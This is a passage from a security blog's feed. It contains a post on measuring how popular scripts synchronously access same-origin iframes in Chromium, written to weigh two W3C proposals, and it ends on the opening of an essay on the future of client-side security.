        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// protect access to localStorage items!&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And delivering it via the new proposed API (for example, via the CSP header):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CSP: &amp;quot;run-on-same-origin-realm /scripts/realm.js&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Would theoretically provide the same value snow does:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;localStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sensitive_pii&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// null&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;id=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;xyz&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;about:blank&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;xyz&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;ifr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getItem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;sensitive_pii&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// null&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Only this would be more resilient and secure given it is implemented by the browser.&lt;/p&gt;
&lt;p&gt;Sounds like a plan, right?&lt;/p&gt;
&lt;h2 id=&quot;the-spectrum&quot;&gt;The spectrum&lt;/h2&gt;
&lt;p&gt;Google’s &lt;a href=&quot;https://x.com/arturjanc&quot;&gt;Artur&lt;/a&gt; and &lt;a href=&quot;https://x.com/ddworken&quot;&gt;David&lt;/a&gt;, who participate in W3C as well and care about such proposals, brought up a good point - shipping the proposal at its current state will introduce yet another way to inject JavaScript code into web applications, which would result into more browser internals complexity and potential risk if configured improperly.&lt;/p&gt;
&lt;p&gt;Instead, they suggest an alternative proposal they call &lt;code&gt;no-sync&lt;/code&gt;, which would basically be a boolean header (false by default) that when is enabled for a certain realm, makes sync access to/from that realm from/to other realms impossible - even if they share the same origin.&lt;/p&gt;
&lt;p&gt;On the one end of the spectrum, this &lt;code&gt;no-sync&lt;/code&gt; is very strict, because if websites want to make legitimate use of same-origin sync-access features, they won’t be able to do so and adopt it at the same time. But on the other hand, it will eliminate the same origin concern successfully, and will do so without introducing new ways to run JavaScript in new realms and web pages, which might have ended up introducing more complexity to the web.&lt;/p&gt;
&lt;p&gt;On the other end of the spectrum, the RIC proposal is way more lax, because it allows achieving both states - more security (by implementing security controls using JavaScript and the layering approach without having to worry about the same origin concern) but without having to disable same-origin sync-access features.&lt;/p&gt;
&lt;p&gt;All parties agreed that the answer to this question (“which is the path we should choose?”) will be found if we could tell to which extent does the web depend on the same-origin sync-access feature.&lt;/p&gt;
&lt;p&gt;Which is to say, if we learn there aren’t enough websites that make any use of same origin realms such as iframes by synchronously accessing them, then maybe the &lt;code&gt;no-sync&lt;/code&gt; idea is something we could go for, but if we learn the opposite, that would mean too many websites rely on this capability, so that shipping the &lt;code&gt;no-sync&lt;/code&gt; feature would only serve those who can adapt themselves, which might not be the case for many other websites that will just end up rejecting adoption of such a feature for disabling core functionality they rely on (some claim CSP suffered from a somewhat similar destiny).&lt;/p&gt;
&lt;h2 id=&quot;time-to-find-out&quot;&gt;Time to find out!&lt;/h2&gt;
&lt;p&gt;It was decided we run this experiment. The question we ask is:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“do websites form same origin realms and access them synchronously? and if so, how often?”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In order to get there, here are the steps we must take:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Define&lt;/strong&gt; what same-origin sync-access is&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Find&lt;/strong&gt; where this happens within the browser (we’re doing Chromium for close-to arbitrary reasons)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Introduce&lt;/strong&gt; some way to keep track of such operations and count them&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Discover&lt;/strong&gt; the results&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;define&quot;&gt;Define&lt;/h2&gt;
&lt;p&gt;What are same-origin sync-access operations?&lt;/p&gt;
&lt;p&gt;Basically, it’s the event in which one realm accesses properties of another, given the two realms share the same origin (thus they obey the same origin policy).&lt;/p&gt;
&lt;p&gt;Some examples would be:&lt;/p&gt;
&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;top-to-iframe&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;frames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;iframe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;iframe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentDocument&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;iframe-to-top&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;parent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;opener-to-openee&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;opened&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;class=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;openee-to-opener&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;opener&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;srcdoc=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;script&amp;gt;parent.document;&amp;lt;/script&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;iframe&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;src=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;javascript:parent.document;&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;find&quot;&gt;Find&lt;/h2&gt;
&lt;p&gt;So, where does this happen in the code?&lt;/p&gt;
&lt;p&gt;I mean, when realm A tries to access properties of realm B, how does Chromium make sure they belong to the same origin and where exactly does it approve it?&lt;/p&gt;
&lt;p&gt;To be honest, it took me a few weeks of research, and I was only somewhat on point, but it turns out there are some interesting things about how origin security takes place within the Chromium source code which would have taken me more time to figure out by myself it wasn’t for the help of &lt;a href=&quot;https://github.com/camillelamy&quot;&gt;Camille&lt;/a&gt; and &lt;a href=&quot;https://github.com/yuki3&quot;&gt;Yuki&lt;/a&gt; from Google, which I think are worth sharing.&lt;/p&gt;
&lt;p&gt;At first, I was looking at &lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/core/frame/dom_window.cc;l=989?q=DOMWindow::RecordWindowProxyAccessMetrics&quot;&gt;&lt;code&gt;DOMWindow::RecordWindowProxyAccessMetrics&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It caught my eye because it was already counting realm-to-realm origin-access related operation, but the exact opposite of what I needed - it counted cross-origin access.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Counters are small chunks of code that tell some remote server when that chunk of code was executed by some remote user (assuming they allowed the browser to share such metrics) so that they can be later aggregated and investigated by browser developers&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This particular counter mapped the different properties realms use to access other cross-origin realms, and now they keep track of how often that happens.&lt;/p&gt;
&lt;p&gt;So whenever a browser somewhere in the world loads a webpage that loads two realms that are cross-origin to each other, and one of them calls &lt;code&gt;top/parent/etc&lt;/code&gt; which resolves to that other realm - that counter counts!&lt;/p&gt;
&lt;p&gt;Here’s a list of the properties for which the counter counts:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You can see live results of this counter for yourself - it’s all public (here’s &lt;a href=&quot;https://chromestatus.com/metrics/feature/timeline/popularity/4128&quot;&gt;WindowProxyCrossOriginAccessTop&lt;/a&gt; for example).&lt;/p&gt;
&lt;p&gt;In order to make sure the counter only counts cross-origin access and not same-origin access, it makes sure that’s the case before performing the count. This happens at line 1025 in the attached image above. If the current realm does not share the same origin as the accessing realm - &lt;code&gt;return&lt;/code&gt; (as in, bail on counting).&lt;/p&gt;
&lt;p&gt;If that’s the case, all we need to do is replace that &lt;code&gt;return&lt;/code&gt; statement with some new same-origin counter, right?&lt;/p&gt;
&lt;p&gt;Apparently, it isn’t this simple (the following explanation is based on Google’s &lt;a href=&quot;https://github.com/yuki3&quot;&gt;Yuki&lt;/a&gt;’s explanation to me):&lt;/p&gt;
&lt;p&gt;It turns out that when one realm attempts to synchronously access another, the act of checking whether they belong to the same origin or not is very costly in terms of performance, because it means they can potentially be two separate “V8::Contexts” (different rendering processes) if they do not share an origin. This happens within V8’s &lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/main:out/linux-Debug/gen/third_party/blink/renderer/bindings/modules/v8/v8_window.cc;drc=88bf01b7324e7ea6551d70d6d90f9c993496be4a;l=24597&quot;&gt;CrossOriginAccessCheckCallback&lt;/a&gt;, which calls &lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/platform/weborigin/security_origin.cc;drc=ac1f7fd6d07e651a809282e4b2e08592477bebaa;l=331&quot;&gt;SecurityOrigin::CanAccess&lt;/a&gt; (where same-origin is determined), and is an act of crossing V8 contexts - which is the performance problematic part.&lt;/p&gt;
&lt;p&gt;So, while this is a legitimate method to test for same-origin that would work properly, it won’t scale performance-wise. Therefore, Chromium deploys another technique for avoiding this costly check whenever it can by utilizing what they call a “security token”. The security token is assigned to every new V8::Context (in this case, a realm), and is either a default token, or an origin derived token.&lt;/p&gt;
&lt;p&gt;The default token is assigned on some specific cases, to express a refusal to be necessarily friendly to other realms, thus forcing the slow-path check to take place. One example is “opaque origins” which are estranged to other origins by default (e.g. &lt;code&gt;data:&lt;/code&gt; or sandboxed iframes). Outside of that, the object representing the security origin of the realm will be set with a non-default token:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That non-default token will be derived from properties that will necessarily be the same for two same origin realms and different for two cross-origin ones (naturally), which in practice are a combo of the protocol (e.g. &lt;code&gt;http:&lt;/code&gt;), the host (e.g. &lt;code&gt;example.com&lt;/code&gt;), the port (e.g. &lt;code&gt;8080&lt;/code&gt;) and the id of the hosting &lt;a href=&quot;https://weizmangal.com/page-what-is-a-realm-in-js/#:~:text=children%20to%20separate-,agent%20clusters,-which%20run%20in&quot;&gt;agent cluster&lt;/a&gt; (because two realms should not have access to each other even if they share on origin if they are hosted by two different agent clusters):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;When two realms share an identical token, this security architecture allows telling they both belong to the same origin without having to cross V8 contexts to verify it.&lt;/p&gt;
&lt;p&gt;This is pretty cool, and it kind of explains the strange behaviour I observed within RecordWindowProxyAccessMetrics that prevented me from leveraging it for spotting same-origin sync-access operations, where it just would not be called for two different realms that share an origin - the fact they share a security token, making them go through the fast-path, is why they never went through this function (I think).&lt;/p&gt;
&lt;h2 id=&quot;introduce&quot;&gt;Introduce&lt;/h2&gt;
&lt;p&gt;Within this context, &lt;a href=&quot;https://github.com/yuki3&quot;&gt;Yuki&lt;/a&gt; explained how introducing this counter upstream isn’t possible because of the perf issues, and that the right approach would be to apply a change and examine the behaviour locally instead.&lt;/p&gt;
&lt;p&gt;The change would be to disable the non-default security token functionality, and force all tokens to be default ones. This would force the slow-path always, but it also means that whenever one realm will try to reach for the internals of another, it will first check whether they share an origin or not through the slow-path, which is where we can successfully inject a counter that can take the origin potential match into account.&lt;/p&gt;
&lt;p&gt;So first step is to disable non-default tokens:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now because of this change, we know that all access attempts (including same origin ones) will be processed by CrossOriginAccessCheckCallback, which asks &lt;a href=&quot;https://source.chromium.org/chromium/chromium/src/+/main:third_party/blink/renderer/bindings/core/v8/binding_security.h;drc=2f43be088d7ee5f2c2f51d628167bab43cddae97;l=66&quot;&gt;&lt;code&gt;BindingSecurity::ShouldAllowAccessTo&lt;/code&gt;&lt;/a&gt; whether access should be allowed (or in other words - do they share an origin?). This means that we should capture the boolean return value into a variable, log it, and pass it on:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-6.png&quot; alt=&quot;ShouldAllowAccessTo function is generated by python scripts among other functions that compile into multiple OS architectures&quot; /&gt;&lt;/p&gt;
&lt;p&gt;That’s it! Compile, run and it works!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This of course works for cross-origin too:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2 id=&quot;discover&quot;&gt;Discover&lt;/h2&gt;
&lt;p&gt;Now that we have a local Chromium build that captures and documents realm-to-realm same-origin sync-access occurrences, we can focus on the original goal we had, which is to tell how often such occurrences take place across the web to tell which of the two strategies to protect applications against the same origin concern we should go with. The strategy we’ll go with is to focus on sites that get the highest exposure on the web, which could be one of two entities:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;big websites (most visited ones)&lt;/li&gt;
&lt;li&gt;embeddable sites/scripts (social login pages, popular third party scripts, etc)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;embeddables&quot;&gt;Embeddables&lt;/h3&gt;
&lt;p&gt;Since this could go on forever, we’ll have to stay focused, so for today we’ll stick to the embeddables category, as these have probably more impact given how thousands of websites embed them, so let’s start there.&lt;/p&gt;
&lt;h4 id=&quot;google-ads&quot;&gt;Google (ads)&lt;/h4&gt;
&lt;p&gt;Starting off with &lt;a href=&quot;https://securepubads.g.doubleclick.net/pagead/managed/js/gpt/m202411180101/pubads_impl.js&quot;&gt;https://securepubads.g.doubleclick.net/pagead/managed/js/gpt/m202411180101/pubads_impl.js&lt;/a&gt; which seems to be responsible for introducing ads into web pages such as &lt;a href=&quot;https://www.ladbible.com/news/uk-news/best-time-to-put-your-heating-on-uk-339473-20241128&quot;&gt;https://www.ladbible.com/news/uk-news/best-time-to-put-your-heating-on-uk-339473-20241128&lt;/a&gt;. Quick look shows there are same origin iframes within the page that based on their name and contents are ads that were created by Google’s ad service:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here’s how its DOM structure looks like:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here’s the part within &lt;a href=&quot;https://securepubads.g.doubleclick.net/pagead/managed/js/gpt/m202411180101/pubads_impl.js&quot;&gt;https://securepubads.g.doubleclick.net/pagead/managed/js/gpt/m202411180101/pubads_impl.js&lt;/a&gt; that takes that same-origin &lt;code&gt;about:blank&lt;/code&gt; iframe and uses &lt;code&gt;document.write&lt;/code&gt; (as well as some other same-origin sync-access APIs) to inject a new ad html into it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This behaviour was observed on other websites that make use of Google’s ads services, which makes it clear that this well-used script currently depends on the realm-to-realm same-origin sync-access feature. By the way, the same script creates another &lt;code&gt;about:blank&lt;/code&gt; iframe and sync-accesses it for other unknown reasons, as can be seen here:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4 id=&quot;google-social-login&quot;&gt;Google (social login)&lt;/h4&gt;
&lt;p&gt;Google’s login page &lt;a href=&quot;https://accounts.google.com/ServiceLogin?hl=iw&amp;amp;passive=true&amp;amp;continue=https://www.google.com/&quot;&gt;https://accounts.google.com/ServiceLogin?hl=iw&amp;amp;passive=true&amp;amp;continue=https://www.google.com/&lt;/a&gt; also seems to make great use of realm-to-realm same-origin sync-access. Again, it’s hard to tell for what reason, but it does seem consistent. In the image below is where the same-origin iframe they created is being accessed via the &lt;code&gt;contentWindow&lt;/code&gt; accessor deterministically:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4 id=&quot;sentry-metrics&quot;&gt;Sentry (metrics)&lt;/h4&gt;
&lt;p&gt;Sentry also depend on realm-to-realm same-origin sync-access, but conditionally - on init, they create a same-origin iframe and grab a fresh instance of the &lt;code&gt;fetch&lt;/code&gt; API only if they conclude that the &lt;code&gt;fetch&lt;/code&gt; instance of the top was monkey patched by some other JS code in the page (which is not very rare, depends on what other scripts the website includes).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4 id=&quot;facebook-pixel&quot;&gt;Facebook (pixel)&lt;/h4&gt;
&lt;p&gt;Facebook’s Pixel demonstrates clear indicators for realm-to-realm same-origin sync-access within their super popular third party library &lt;a href=&quot;https://connect.facebook.net/en_US/fbevents.js&quot;&gt;https://connect.facebook.net/en_US/fbevents.js&lt;/a&gt; which is loaded just about everywhere, but in contrast to the former examples, I was not able to successfully reach the branch in code that actually executes such behaviour:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4 id=&quot;x-embedded-posts&quot;&gt;X (embedded posts)&lt;/h4&gt;
&lt;p&gt;X’s embedded posts via &lt;a href=&quot;https://platform.twitter.com/widgets.js&quot;&gt;https://platform.twitter.com/widgets.js&lt;/a&gt; seem to also introduce some same origin iframe &lt;code&gt;IFRAME#rufous-sandbox&lt;/code&gt; and to synchronously access its internals for unknown reasons:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/content/img/chromium-source-18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Given how the examples above are of sites and scripts that are highly popular and well-used across the web, it seems fair to conclude that without proper adjustments, websites across the web that embed these won’t be able to easily opt into features such as the proposed &lt;code&gt;no-sync&lt;/code&gt; one, as it will prevent the scenarios that were displayed above, and thus break them.&lt;/p&gt;
&lt;p&gt;I am also positive that by digging deeper, more websites relying on such a feature will be discovered. One ecosystem that strongly relies on this feature is the advertisement industry (Google Ads is just the tip of the iceberg). Therefore, it’s fair to say that a more lax solution such as the proposed RIC one could be opt into without breaking sites nor require them to adjust whatsoever.&lt;/p&gt;
&lt;p&gt;That being said, it’s not that the &lt;code&gt;nosync&lt;/code&gt; idea is bad. On the contrary - the web could really use something like &lt;code&gt;nosync&lt;/code&gt; and I fully endorse it. My point is that it’s not one or the other - there are enough actors in the web ecosystem that deserve proper solutions that will help them sustain. Those who are able to adopt, enjoy superior security by integrating restricitive solutions such as CSP, COOP, nosync and more. While that is the right approach, realistically, it’s clear that a massive chuck of the web isn’t going this way. These websites integrate code flying in from multiple places, all running within a single origin, doing all sorts of things, and getting them to change their ways is a difficult task. Due to that, there are vendors that provide security tools that can integrate with these actors. The RIC proposal allows these vendors to successfully provide this value to these actors, and therefore is important to have, just as much as a nosync-like proposal.&lt;/p&gt;
&lt;p&gt;Just as I said earlier - &lt;a href=&quot;#the-spectrum&quot;&gt;the spectrum&lt;/a&gt; is so wide, that both ends of it probably won’t ever meet. It’s our responsability as builders of the web to respect both of those ends and provide them with appropriate solutions for them to thrive.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Is client side security dead - or a crucial part of the future?</title>
   <link href="https://weizman.github.io//2024/02/10/client-side-future/"/>
   <updated>2024-02-10T00:00:00+00:00</updated>
   <id>https://weizman.github.io//2024/02/10/client-side-future</id>
   <content type="html">&lt;p&gt;&lt;strong&gt;&lt;em&gt;tl;dr&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is one of my &lt;strong&gt;favorite&lt;/strong&gt; essays so far:
client side security is a niche tech field that seems to be unneeded for the most part.
As someone who’s very passionate about it, that’s something that’s hard for me to accept.
After (&lt;a href=&quot;https://shubs.io/&quot;&gt;Shubham Shah&lt;/a&gt;) addressed this topic in his &lt;a href=&quot;https://twitter.com/infosec_au/status/1698322940159557987&quot;&gt;tweet&lt;/a&gt;,
I elaborate into the mixed feelings I have with this field, as well as present my take on the industry and most importantly,
strongly argue why I think client side security isn’t dying - but in fact &lt;strong&gt;is more crucial now than was ever before&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;does-client-side-security-still-matter&quot;&gt;Does client side security still matter?&lt;/h2&gt;
&lt;p&gt;Not too long ago, the well known security researcher &lt;a href=&quot;https://shubs.io/&quot;&gt;Shubham Shah&lt;/a&gt; wrote the following tweet:&lt;/p&gt;
&lt;blockquote class=&quot;twitter-tweet&quot;&gt;&lt;p lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;For the first 3-4 years that I was working in infosec, I found client side security so exciting. I stayed on top of every new technique and studied new techniques closely. After this, I took a step back and realised that all of my work on client side security felt helpless,…&lt;/p&gt;&amp;mdash; shubs (@infosec_au) &lt;a href=&quot;https://twitter.com/infosec_au/status/1698322940159557987?ref_src=twsrc%5Etfw&quot;&gt;September 3, 2023&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src=&quot;https://platform.twitter.com/widgets.js&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt;
&lt;p&gt;And to me this was &lt;strong&gt;magical&lt;/strong&gt;, because Shubham - like a good security researcher - managed to press some of my weak points &lt;strong&gt;pretty accurately.&lt;/strong&gt;
Truth be told, I’ve being brewing with similar feelings for long periods of time throughout my career, and I still do.
To this day I battle my strong desire and pure passion for the field of client side security with rational thoughts and
the understandable wish for a long, stable and thriving career as an individual in the tech industry.&lt;/p&gt;
&lt;p&gt;Shubham’s tweet made me realize that the fact that this dilemma had taken me through multiple emotional rides throughout my career already,
had got to the point where it’s time to digest and self-reflect client side security, in terms of its &lt;strong&gt;relationship with the cyber-security industry&lt;/strong&gt;, the &lt;strong&gt;importance of its role in the ecosystem&lt;/strong&gt;, and its &lt;strong&gt;future&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;To me, that usually means to write. Writing helps me clear my head and put my thoughts in order. In regards with the client side security industry, it’s time to do just that - so &lt;strong&gt;here goes.&lt;/strong&gt;&lt;/p&gt;
&lt;h2 id=&quot;shubhams-tweet&quot;&gt;Shubham’s tweet&lt;/h2&gt;
&lt;p&gt;So first of all, what’s all the fuzz about?&lt;/p&gt;
&lt;p&gt;For context, Shubham is a security researcher with a lot of experience, both with vulnerability research and with application security.
And from his tweet, it seems that his vast experience with application security had made him understand that when applications were suffering from
security breaches, it was &lt;strong&gt;almost always the responsibility of components that weren’t the client side:&lt;/strong&gt;&lt;/p&gt;
